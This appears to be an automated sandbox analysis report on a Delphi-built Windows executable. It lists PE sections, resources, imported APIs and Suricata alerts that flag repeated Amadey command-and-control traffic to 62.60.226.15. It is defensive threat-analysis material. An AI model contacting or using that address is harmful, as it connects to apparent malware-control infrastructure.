.bss	0x586000	0x2909c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5b0000	0x3fb4	0x4000	43b0270b4d110befabad4bfb8ad09823	False	0.33038330078125	data	5.274523560388854	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0x5b4000	0xe0c	0x1000	cbadc12bfca41b6c546ed38a9ab4bf5f	False	0.303466796875	data	4.014333875326934	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0x5b5000	0x9b	0x200	6320216ec133fefb1dabea8863b50092	False	0.2578125	data	1.8947667592796267	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x5b6000	0x78	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x5b7000	0x5d	0x200	eebedb4f5f94c0780b03eb36a0c3f1fa	False	0.189453125	data	1.370020541144142	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x5b8000	0x73548	0x73600	416488c7609aaf3c310d1bb5b8eb5e46	False	0.5610526137594799	data	6.715780364534083	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x62c000	0x1fa217	0x1fa400	2bb856072c65e5c3efe9e50da1ce7f65	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
YOV	0x62d784	0x11cee7	PNG image data, 2688 x 523, 8-bit/color RGB, non-interlaced	English	United States	1.0000114440917969
RT_CURSOR	0x74a66c	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x74a7a0	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x74a8d4	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x74aa08	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x74ab3c	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x74ac70	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x74ada4	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0x74aed8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x74b0a8	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0x74b28c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x74b45c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0x74b62c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0x74b7fc	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
RT_BITMAP	0x74b9cc	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0x74bb9c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x74bd6c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0x74bf3c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x74c10c	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.4870689655172414
RT_BITMAP	0x74c1f4	0x378	Device independent bitmap graphic, 110 x 14 x 4, image size 784			0.23085585585585586
RT_BITMAP	0x74c56c	0xd8	Device independent bitmap graphic, 15 x 14 x 4, image size 112, resolution 2834 x 2834 px/m			0.4675925925925926
RT_ICON	0x74c644	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.45161290322580644
RT_ICON	0x74c92c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.5168918918918919
RT_ICON	0x74ca54	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688	English	United States	0.427771855010661
RT_ICON	0x74d8fc	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.5546028880866426
RT_ICON	0x74e1a4	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	English	United States	0.6488439306358381
RT_ICON	0x74e70c	0x1fbb	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.8703680906069187
RT_ICON	0x7506c8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.07546055739253661
RT_ICON	0x7548f0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.1412863070539419
RT_ICON	0x756e98	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 6720	English	United States	0.18831360946745562
RT_ICON	0x758900	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.1796435272045028
RT_ICON	0x7599a8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.3237704918032787
RT_ICON	0x75a330	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.3656976744186046
RT_ICON	0x75a9e8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.3696808510638298
RT_DIALOG	0x75ae50	0x52	data			0.7682926829268293
RT_DIALOG	0x75aea4	0x52	data			0.7560975609756098
RT_STRING	0x75aef8	0x298	data			0.44126506024096385
RT_STRING	0x75b190	0x42c	data			0.3202247191011236
RT_STRING	0x75b5bc	0x400	data			0.392578125
RT_STRING	0x75b9bc	0x4b8	data			0.4105960264900662
RT_STRING	0x75be74	0x1200	data			0.1853298611111111
RT_STRING	0x75d074	0x8ec	data			0.3397548161120841
RT_STRING	0x75d960	0x974	data			0.3202479338842975
RT_STRING	0x75e2d4	0x91c	data			0.26286449399656947
RT_STRING	0x75ebf0	0x63c	data			0.33395989974937346
RT_STRING	0x75f22c	0x1f0	data			0.4435483870967742
RT_STRING	0x75f41c	0x5d4	data			0.3445040214477212
RT_STRING	0x75f9f0	0x39c	data			0.4253246753246753
RT_STRING	0x75fd8c	0x46c	AmigaOS bitmap font "e", fc_YSize 18176, 20992 elements, 2nd "\034", 3rd "x"			0.39664310954063603
RT_STRING	0x7601f8	0x320	data			0.42375
RT_STRING	0x760518	0x4a0	data			0.3918918918918919
RT_STRING	0x7609b8	0x38c	data			0.44162995594713655
RT_STRING	0x760d44	0x398	data			0.3423913043478261
RT_STRING	0x7610dc	0x2ac	data			0.46345029239766083
RT_STRING	0x761388	0x308	data			0.41494845360824745
RT_STRING	0x761690	0x2ec	data			0.42914438502673796
RT_STRING	0x76197c	0x448	data			0.36496350364963503
RT_STRING	0x761dc4	0x8b4	data			0.3016157989228007
RT_STRING	0x762678	0xae4	data			0.2309899569583931
RT_STRING	0x76315c	0x4dc	data			0.3729903536977492
RT_STRING	0x763638	0x408	data			0.31589147286821706
RT_STRING	0x763a40	0x3c4	data			0.41804979253112035
RT_STRING	0x763e04	0x400	data			0.4140625
RT_STRING	0x764204	0x48c	data			0.39261168384879724
RT_STRING	0x764690	0x1b0	data			0.5532407407407407
RT_STRING	0x764840	0xcc	data			0.6666666666666666
RT_STRING	0x76490c	0x17c	data			0.5368421052631579
RT_STRING	0x764a88	0x254	data			0.4865771812080537
RT_STRING	0x764cdc	0x390	data			0.38706140350877194
RT_STRING	0x76506c	0x3c4	data			0.38070539419087135
RT_STRING	0x765430	0x448	data			0.3613138686131387
RT_STRING	0x765878	0x4c4	data			0.31721311475409836
RT_STRING	0x765d3c	0x2c4	data			0.3559322033898305
RT_STRING	0x766000	0x40c	data			0.3996138996138996
RT_STRING	0x76640c	0x4b8	data			0.3509933774834437
RT_STRING	0x7668c4	0x698	data			0.3033175355450237
RT_STRING	0x766f5c	0x4a0	data			0.3293918918918919
RT_STRING	0x7673fc	0x394	data			0.38318777292576417
RT_STRING	0x767790	0x400	data			0.37890625
RT_STRING	0x767b90	0x350	data			0.3867924528301887
RT_STRING	0x767ee0	0xd4	data			0.5283018867924528
RT_STRING	0x767fb4	0xa4	data			0.6524390243902439
RT_STRING	0x768058	0x2dc	data			0.46311475409836067
RT_STRING	0x768334	0x458	data			0.29856115107913667
RT_STRING	0x76878c	0x31c	data			0.42462311557788945
RT_STRING	0x768aa8	0x2e8	data			0.3736559139784946
RT_STRING	0x768d90	0x34c	data			0.3068720379146919
RT_RCDATA	0x7690dc	0x10	data			1.5
RT_RCDATA	0x7690ec	0x1308	data			0.4755747126436782
RT_RCDATA	0x76a3f4	0x2	data	English	United States	5.0
RT_RCDATA	0x76a3f8	0x2355b	Delphi compiled form 'TAboutBox'			0.9526293606760128
RT_RCDATA	0x78d954	0x2db	Delphi compiled form 'TAdForm'			0.6238030095759234
RT_RCDATA	0x78dc30	0x1b0e3	Delphi compiled form 'TAppForm'			0.7625046246582264
RT_RCDATA	0x7a8d14	0x3831	Delphi compiled form 'TFeedbackForm'			0.47493917274939174
RT_RCDATA	0x7ac548	0xac6	Delphi compiled form 'TFormPDF'			0.4126178390137781
RT_RCDATA	0x7ad010	0x7cae	Delphi compiled form 'TNagScreen'			0.6467823798483614
RT_RCDATA	0x7b4cc0	0xcf8	Delphi compiled form 'TNewVer'			0.563855421686747
RT_RCDATA	0x7b59b8	0x6fd6c	Delphi compiled form 'TTranslateForm'			0.15776743536232896
RT_GROUP_CURSOR	0x825724	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x825738	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x82574c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x825760	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x825774	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x825788	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x82579c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x8257b0	0xbc	data	English	United States	0.6595744680851063
RT_VERSION	0x82586c	0x2a0	data	English	United States	0.49851190476190477
RT_MANIFEST	0x825b0c	0x70b	XML 1.0 document, ASCII text, with CRLF, LF line terminators	English	United States	0.403771491957848

Imports

DLL	Import
usp10.dll	ScriptGetProperties, ScriptItemize, ScriptShape, ScriptLayout, ScriptApplyDigitSubstitution
winmm.dll	sndPlaySoundW, timeGetTime
oleacc.dll	LresultFromObject
winspool.drv	DocumentPropertiesW, ClosePrinter, OpenPrinterW, GetDefaultPrinterW, EnumPrintersW
comdlg32.dll	GetSaveFileNameW, GetOpenFileNameW
comctl32.dll	ImageList_GetImageInfo, FlatSB_SetScrollInfo, InitCommonControls, ImageList_DragMove, ImageList_Destroy, _TrackMouseEvent, ImageList_DragShowNolock, ImageList_Add, FlatSB_SetScrollProp, ImageList_GetDragImage, ImageList_Create, ImageList_EndDrag, ImageList_DrawEx, ImageList_SetImageCount, FlatSB_GetScrollPos, FlatSB_SetScrollPos, InitializeFlatSB, ImageList_Copy, FlatSB_GetScrollInfo, ImageList_Write, ImageList_SetBkColor, ImageList_GetBkColor, ImageList_BeginDrag, ImageList_GetIcon, ImageList_Replace, ImageList_GetImageCount, ImageList_DragEnter, ImageList_GetIconSize, ImageList_SetIconSize, ImageList_Read, ImageList_DragLeave, ImageList_LoadImageW, ImageList_Draw, ImageList_Remove, ImageList_ReplaceIcon, ImageList_SetOverlayImage
shell32.dll	DragFinish, DragQueryPoint, DragQueryFileW, DragQueryFileA, DragAcceptFiles, Shell_NotifyIconW, ShellExecuteW
user32.dll	CopyImage, SetMenuItemInfoW, GetMenuItemInfoW, SetCaretPos, DefFrameProcW, GetDlgCtrlID, FrameRect, RegisterWindowMessageW, GetMenuStringW, FillRect, SendMessageA, IsClipboardFormatAvailable, EnumWindows, ShowOwnedPopups, GetClassInfoW, GetScrollRange, SetActiveWindow, GetActiveWindow, DrawEdge, GetKeyboardLayoutList, LoadBitmapW, EnumChildWindows, GetScrollBarInfo, UnhookWindowsHookEx, SetCapture, GetCapture, ShowCaret, CreatePopupMenu, GetMenuItemID, DestroyCaret, CharLowerBuffW, PostMessageW, SetWindowLongW, IsZoomed, SetParent, DrawMenuBar, GetClientRect, IsChild, IsIconic, CallNextHookEx, ShowWindow, GetWindowTextW, SetForegroundWindow, GetAsyncKeyState, IsDialogMessageW, DestroyWindow, RegisterClassW, EndMenu, CharNextW, GetFocus, GetDC, SetFocus, ReleaseDC, GetClassLongW, SetScrollRange, DrawTextW, PeekMessageA, MessageBeep, SetClassLongW, RemovePropW, GetSubMenu, DestroyIcon, IsWindowVisible, DispatchMessageA, UnregisterClassW, GetTopWindow, SendMessageW, NotifyWinEvent, LoadStringW, CreateMenu, CharLowerW, SetWindowRgn, SetWindowPos, GetMenuItemCount, GetSysColorBrush, GetWindowDC, DrawTextExW, EnumClipboardFormats, GetScrollInfo, SetWindowTextW, GetMessageExtraInfo, GetSysColor, EnableScrollBar, TrackPopupMenu, DrawIconEx, GetClassNameW, GetMessagePos, GetIconInfo, SetScrollInfo, GetKeyNameTextW, GetDesktopWindow, SetCursorPos, GetCursorPos, SetMenu, GetMenuState, GetMenu, SetRect, GetKeyState, IsCharAlphaW, GetCursor, KillTimer, WaitMessage, TranslateMDISysAccel, GetWindowPlacement, CreateWindowExW, ChildWindowFromPoint, GetDCEx, PeekMessageW, MonitorFromWindow, GetUpdateRect, AnimateWindow, SetTimer, WindowFromPoint, BeginPaint, DrawStateW, RegisterClipboardFormatW, MapVirtualKeyW, OffsetRect, IsWindowUnicode, DispatchMessageW, CreateAcceleratorTableW, DefMDIChildProcW, GetSystemMenu, SetScrollPos, GetScrollPos, DrawFocusRect, ReleaseCapture, LoadCursorW, CharLowerA, ScrollWindow, GetLastActivePopup, GetSystemMetrics, CharUpperBuffW, SetClipboardData, GetClipboardData, ClientToScreen, SetWindowPlacement, GetMonitorInfoW, CheckMenuItem, CharUpperW, DefWindowProcW, GetForegroundWindow, EnableWindow, GetWindowThreadProcessId, RedrawWindow, EndPaint, MsgWaitForMultipleObjectsEx, LoadKeyboardLayoutW, ActivateKeyboardLayout, GetParent, CreateCaret, MonitorFromRect, InsertMenuItemW, GetPropW, MessageBoxW, SetPropW, UpdateWindow, MsgWaitForMultipleObjects, DestroyMenu, SetWindowsHookExW, EmptyClipboard, GetDlgItem, AdjustWindowRectEx, IsWindow, DrawIcon, EnumThreadWindows, InvalidateRect, SetKeyboardState, GetKeyboardState, ScreenToClient, DrawFrameControl, IsCharAlphaNumericW, SetCursor, CreateIcon, RemoveMenu, GetKeyboardLayoutNameW, OpenClipboard, TranslateMessage, MapWindowPoints, EnumDisplayMonitors, CountClipboardFormats, CallWindowProcW, CloseClipboard, DestroyCursor, CopyIcon, PostQuitMessage, ShowScrollBar, EnableMenuItem, HideCaret, FindWindowExW, MonitorFromPoint, CharUpperA, LoadIconW, SystemParametersInfoW, GetWindow, GetWindowRect, GetWindowLongW, InsertMenuW, IsWindowEnabled, IsDialogMessageA, CharNextA, FindWindowW, GetKeyboardLayout, DeleteMenu
version.dll	GetFileVersionInfoSizeW, VerQueryValueW, VerQueryValueA, GetFileVersionInfoW
oleaut32.dll	GetErrorInfo, SysFreeString, VariantClear, VariantInit, SysReAllocStringLen, SafeArrayCreate, SysAllocStringLen, SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, VariantCopy, VariantChangeType, VariantCopyInd
advapi32.dll	RegSetValueExW, RegConnectRegistryW, RegEnumKeyExW, RegLoadKeyW, GetUserNameW, RegDeleteKeyW, RegOpenKeyExW, RegQueryInfoKeyW, RegUnLoadKeyW, RegSaveKeyW, RegDeleteValueW, RegReplaceKeyW, RegFlushKey, RegQueryValueExW, RegEnumValueW, RegCloseKey, RegCreateKeyExW, RegRestoreKeyW
netapi32.dll	NetWkstaGetInfo, NetApiBufferFree
msvcrt.dll	isupper, isalpha, isalnum, toupper, memchr, memcmp, memcpy, memset, isprint, isspace, iscntrl, isxdigit, ispunct, isgraph, islower, tolower
winhttp.dll	WinHttpGetIEProxyConfigForCurrentUser, WinHttpSetTimeouts, WinHttpSetStatusCallback, WinHttpConnect, WinHttpReceiveResponse, WinHttpQueryAuthSchemes, WinHttpGetProxyForUrl, WinHttpReadData, WinHttpCloseHandle, WinHttpQueryHeaders, WinHttpOpenRequest, WinHttpAddRequestHeaders, WinHttpOpen, WinHttpWriteData, WinHttpSetCredentials, WinHttpQueryDataAvailable, WinHttpSetOption, WinHttpSendRequest, WinHttpQueryOption
kernel32.dll	SetFileAttributesW, QueryDosDeviceW, GetACP, CloseHandle, LocalFree, GetCurrentProcessId, SizeofResource, VirtualProtect, TerminateThread, QueryPerformanceFrequency, IsDebuggerPresent, FindNextFileW, GetFullPathNameW, VirtualFree, ExitProcess, HeapAlloc, GetCPInfoExW, GlobalSize, GetSystemTime, RtlUnwind, GetCPInfo, EnumSystemLocalesW, GetStdHandle, GetTimeZoneInformation, FileTimeToLocalFileTime, SystemTimeToTzSpecificLocalTime, GetModuleHandleW, FreeLibrary, TryEnterCriticalSection, HeapDestroy, FileTimeToDosDateTime, ReadFile, CreateProcessW, HeapSize, GetLastError, GetModuleFileNameW, SetLastError, GlobalAlloc, GlobalUnlock, FindResourceW, CreateThread, CompareStringW, CopyFileW, MapViewOfFile, CreateMutexW, LoadLibraryA, GetVolumeInformationW, ResetEvent, MulDiv, FreeResource, GetDriveTypeW, GetVersion, RaiseException, GlobalAddAtomW, GetSystemTimeAsFileTime, FormatMessageW, SwitchToThread, GetExitCodeThread, OutputDebugStringW, GetCurrentThread, GetLogicalDrives, GetFileAttributesExW, LoadLibraryExW, LockResource, FileTimeToSystemTime, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, GlobalFindAtomW, VirtualQueryEx, GlobalFree, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, WritePrivateProfileStringW, GetFileSize, GlobalDeleteAtom, GetStartupInfoW, GetFileAttributesW, GetCurrentDirectoryW, SetCurrentDirectoryW, InitializeCriticalSection, GetThreadPriority, GetCurrentProcess, SetThreadPriority, GlobalLock, VirtualAlloc, GetTempPathW, GetSystemInfo, GetCommandLineW, LeaveCriticalSection, GetProcAddress, ResumeThread, GetLogicalDriveStringsW, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, LCMapStringW, GetDiskFreeSpaceW, VerSetConditionMask, FindFirstFileW, GetUserDefaultUILanguage, UnmapViewOfFile, GlobalHandle, lstrlenW, QueryPerformanceCounter, SetEndOfFile, lstrcmpW, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, EnumResourceNamesW, GetSystemDirectoryW, DeleteFileW, GetEnvironmentVariableW, GetLocalTime, WaitForSingleObject, WriteFile, CreateFileMappingW, ExitThread, CreatePipe, DeleteCriticalSection, GetDateFormatW, TlsGetValue, SetErrorMode, GetComputerNameW, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, GetProfileStringW, LocalAlloc, RemoveDirectoryW, CreateEventW, GetPrivateProfileStringW, WaitForMultipleObjectsEx, GetThreadLocale, SetThreadLocale
SHFolder.dll	SHGetFolderPathW
ole32.dll	IsEqualGUID, OleInitialize, CreateStreamOnHGlobal, CLSIDFromProgID, OleUninitialize, CoInitialize, CoCreateInstance, CoUninitialize, CoTaskMemFree, CoTaskMemAlloc
gdi32.dll	Pie, EnumEnhMetaFile, SetBkMode, CreateCompatibleBitmap, GetEnhMetaFileHeader, CloseEnhMetaFile, RectVisible, AngleArc, ResizePalette, SetAbortProc, SetTextColor, StretchBlt, RoundRect, RestoreDC, SetRectRgn, GetTextMetricsW, GetWindowOrgEx, CreatePalette, CreateDCW, PolyBezierTo, CreateICW, GetStockObject, GetCharABCWidthsW, CreateSolidBrush, GetBkMode, Polygon, MoveToEx, PlayEnhMetaFile, Ellipse, StartPage, GetBitmapBits, SetTextCharacterExtra, StartDocW, AbortDoc, GetSystemPaletteEntries, GetEnhMetaFileBits, GetEnhMetaFilePaletteEntries, CreatePenIndirect, SetMapMode, GetMapMode, CreateFontIndirectW, PolyBezier, ExtCreatePen, EndDoc, GetObjectW, GetFontData, GetWinMetaFileBits, SetROP2, GetOutlineTextMetricsW, GetEnhMetaFileDescriptionW, ArcTo, CreateEnhMetaFileW, Arc, SelectPalette, ExcludeClipRect, MaskBlt, SetWindowOrgEx, EndPage, DeleteEnhMetaFile, Chord, SetDIBits, SetViewportOrgEx, CreateRectRgn, RealizePalette, SetDIBColorTable, GetDIBColorTable, GetTextMetricsA, CreateBrushIndirect, PatBlt, SetEnhMetaFileBits, GetCharABCWidthsA, Rectangle, SaveDC, DeleteDC, BitBlt, FrameRgn, GetDeviceCaps, GetTextExtentPoint32W, GetClipBox, IntersectClipRect, Polyline, CreateBitmap, SetWinMetaFileBits, CreateDIBitmap, GetStretchBltMode, CreateDIBSection, SetStretchBltMode, GetDIBits, LineTo, GetRgnBox, EnumFontsW, CreateHalftonePalette, SelectObject, DeleteObject, ExtFloodFill, UnrealizeObject, CopyEnhMetaFileW, SetBkColor, CreateCompatibleDC, GetObjectA, GetBrushOrgEx, GetCurrentPositionEx, SetDCPenColor, GetNearestPaletteIndex, GetTextExtentPointW, ExtTextOutW, SetBrushOrgEx, GetPixel, GdiFlush, SetPixel, GetPolyFillMode, EnumFontFamiliesExW, StretchDIBits, GetPaletteEntries

Exports

Name	Ordinal	Address
TMethodImplementationIntercept	3	0x4e0e90
__dbk_fcall_wrapper	2	0x411be8
dbkFCallWrapperAddr	1	0x989640

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-16T15:26:45.224974+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49714	62.60.226.15	80	TCP
2024-12-16T15:26:45.224974+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.10	49714	62.60.226.15	80	TCP
2024-12-16T15:26:48.353310+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49715	62.60.226.15	80	TCP
2024-12-16T15:26:51.362062+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49717	62.60.226.15	80	TCP
2024-12-16T15:26:54.291473+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49719	62.60.226.15	80	TCP
2024-12-16T15:26:57.320156+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49721	62.60.226.15	80	TCP
2024-12-16T15:27:00.400999+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49724	62.60.226.15	80	TCP
2024-12-16T15:27:03.413713+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49726	62.60.226.15	80	TCP
2024-12-16T15:27:06.394649+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49729	62.60.226.15	80	TCP
2024-12-16T15:27:09.529479+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49730	62.60.226.15	80	TCP
2024-12-16T15:27:12.443161+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49731	62.60.226.15	80	TCP
2024-12-16T15:27:15.474901+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49732	62.60.226.15	80	TCP
2024-12-16T15:27:18.378506+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49733	62.60.226.15	80	TCP
2024-12-16T15:27:21.399440+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49735	62.60.226.15	80	TCP
2024-12-16T15:27:24.316666+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49736	62.60.226.15	80	TCP
2024-12-16T15:27:27.406642+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49737	62.60.226.15	80	TCP
2024-12-16T15:27:30.416977+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49738	62.60.226.15	80	TCP
2024-12-16T15:27:33.426547+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49739	62.60.226.15	80	TCP
2024-12-16T15:27:36.331229+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49740	62.60.226.15	80	TCP
2024-12-16T15:27:39.344102+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49741	62.60.226.15	80	TCP
2024-12-16T15:27:44.971085+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49742	62.60.226.15	80	TCP
2024-12-16T15:27:47.992324+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49744	62.60.226.15	80	TCP
2024-12-16T15:27:50.897185+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49745	62.60.226.15	80	TCP
2024-12-16T15:27:53.914198+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49746	62.60.226.15	80	TCP
2024-12-16T15:27:56.847198+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49747	62.60.226.15	80	TCP
2024-12-16T15:27:59.914671+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49748	62.60.226.15	80	TCP
2024-12-16T15:28:02.875484+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49749	62.60.226.15	80	TCP
2024-12-16T15:28:05.950272+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49750	62.60.226.15	80	TCP
2024-12-16T15:28:08.862170+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49751	62.60.226.15	80	TCP
2024-12-16T15:28:11.888302+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49752	62.60.226.15	80	TCP
2024-12-16T15:28:14.913330+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49753	62.60.226.15	80	TCP
2024-12-16T15:28:17.950542+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49754	62.60.226.15	80	TCP
2024-12-16T15:28:20.870653+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49755	62.60.226.15	80	TCP
2024-12-16T15:28:23.925340+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49756	62.60.226.15	80	TCP
2024-12-16T15:28:26.839464+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49757	62.60.226.15	80	TCP
2024-12-16T15:28:29.870544+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49758	62.60.226.15	80	TCP
2024-12-16T15:28:32.799344+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49759	62.60.226.15	80	TCP
2024-12-16T15:28:35.817002+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49760	62.60.226.15	80	TCP
2024-12-16T15:28:38.754130+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49761	62.60.226.15	80	TCP
2024-12-16T15:28:41.845113+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49762	62.60.226.15	80	TCP
2024-12-16T15:28:44.747663+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49763	62.60.226.15	80	TCP
2024-12-16T15:28:47.798530+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49764	62.60.226.15	80	TCP
2024-12-16T15:28:50.703438+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49765	62.60.226.15	80	TCP
2024-12-16T15:28:53.721470+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49766	62.60.226.15	80	TCP
2024-12-16T15:28:56.644659+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49767	62.60.226.15	80	TCP
2024-12-16T15:28:59.674367+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49768	62.60.226.15	80	TCP
